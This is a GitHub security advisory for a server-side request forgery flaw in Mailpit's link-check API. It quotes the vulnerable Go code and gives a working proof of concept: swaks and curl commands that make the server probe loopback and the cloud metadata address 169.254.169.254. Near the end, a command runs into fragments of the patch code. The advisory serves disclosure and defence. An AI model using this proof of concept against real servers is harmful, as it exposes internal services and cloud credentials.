GitHub Advisoryadvisory · Go

GHSA-mpf7-p9x7-96r3 Mailpit is Vulnerable to Server-Side Request Forgery (SSRF) via Link Check API

MEDIUM Published 2026-02-26 Modified 2026-02-26 Official page ↗
Aliases
CVE-2026-27808
Ecosystem
Go
Packages
github.com/axllent/mailpit
Severity
Moderate
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
Weaknesses
CWE-918
Reviewed
2026-02-26

Affected packages

• Go github.com/axllent/mailpit: < 1.29.2 → fixed in 1.29.2

Description

Summary The Link Check API (/api/v1/message/{ID}/link-check) is vulnerable to Server-Side Request Forgery (SSRF). The server performs HTTP HEAD requests to every URL found in an email without validating target hosts or filtering private/internal IP addresses. The response returns status codes and status text per link, making this a non-blind SSRF. In the default configuration (no authentication on SMTP or API), this is fully exploitable remotely with zero user interaction. This is the same class of vulnerability that was fixed in the HTML Check API (CVE-2026-23845 / GHSA-6jxm-fv7w-rw5j) and the screenshot proxy (CVE-2026-21859 / GHSA-8v65-47jx-7mfr), but the Link Check code path was not included in either fix. Details The doHead() function in https://github.com/axllent/mailpit/blob/v1.29.0/internal/linkcheck/status.go#L59-L98 creates a plain http.Transport{} and http.Client with no DialContext hook or IP validation: ``` func doHead(link string, followRedirects bool) (int, error) { timeout := time.Duration(10 * time.Second) tr := &http.Transport{} // ... client := http.Client{ Timeout: timeout, Transport: tr, // ... } req, err := http.NewRequest("HEAD", link, nil) // ... res, err := client.Do(req) // No IP validation — requests any URL return res.StatusCode, nil } ``` The call chain is: 1. GET /api/v1/message/{ID}/link-check hits LinkCheck() in https://github.com/axllent/mailpit/blob/v1.29.0/server/apiv1/other.go#L84 2. Which calls linkcheck.RunTests() in https://github.com/axllent/mailpit/blob/v1.29.0/internal/linkcheck/main.go#L16 3. Which extracts all URLs from the email's HTML (, , ) and text body, then passes them to getHTTPStatuses() in https://github.com/axllent/mailpit/blob/v1.29.0/internal/linkcheck/status.go#L14 4. Which spawns goroutines calling doHead() for each URL with no filtering There is no check anywhere in this path to block requests to loopback (127.0.0.0/8), private (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16), link-local (169.254.0.0/16), or IPv6 equivalents (::1, fc00::/7, fe80::/10). PoC Prerequisites: Mailpit running with default settings (no auth flags). A listener on 127.0.0.1:8081 simulating an internal service. Step 1 — Start a listener to prove the SSRF: ` python3 -m http.server 8081 --bind 127.0.0.1 ` Step 2 — Send a crafted email via SMTP: ``` swaks --to [email protected] \ --from [email protected] \ --server localhost:1025 \ --header "Content-Type: text/html" \ --body 'clickmetadata' ``` Step 3 — Get the message ID: ` curl -s http://localhost:8025/api/v1/messages?limit=1 | jq -r '.messages[0].ID' ` Or use the shorthand ID latest. Step 4 — Trigger the link check: ` curl -s http://localhost:8025/api/v1/message/latest/link-check | jq . ` Expected result: • The Python HTTP server on port 8081 logs a HEAD /ssrf-proof request from Mailpit. • The API response contains the status code and status text for each internal target: ``` { "Errors": 0, "Links": [ {"URL": "http://127.0.0.1:8081/ssrf-proof", "StatusCode": 200, "Status": "OK"}, {"URL": "http://169.254.169.254/latest/meta-data/", "StatusCode": 200, "Status": "OK"} ] } ``` -- This behavior can be identified by creating a email txt file as ``` cat email.txt > From: [email protected] To: [email protected] Subject: Email Subject This is the body of the email. It can contain multiple lines of text. http://localhost:8408 ``` • Start a Python server on port 8408 • execute the command `mailpit sendmail = 3 { return errors.New("too many redirects") } if !followRedirects { return http.ErrUseLastResponse } if !isValidLinkURL(req.URL.String()) { return fmt.Errorf("blocked redirect to i…

Related

Alias · CVE (1)

  • CVE-2026-27808 Mailpit is an email testing tool and API for developers. vulnerability

Weakness · CWE (1)

  • CWE-918 Server-Side Request Forgery weakness

References